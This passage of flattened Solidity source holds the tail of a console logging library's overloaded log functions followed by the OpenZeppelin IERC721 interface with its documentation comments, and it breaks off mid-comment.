p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement 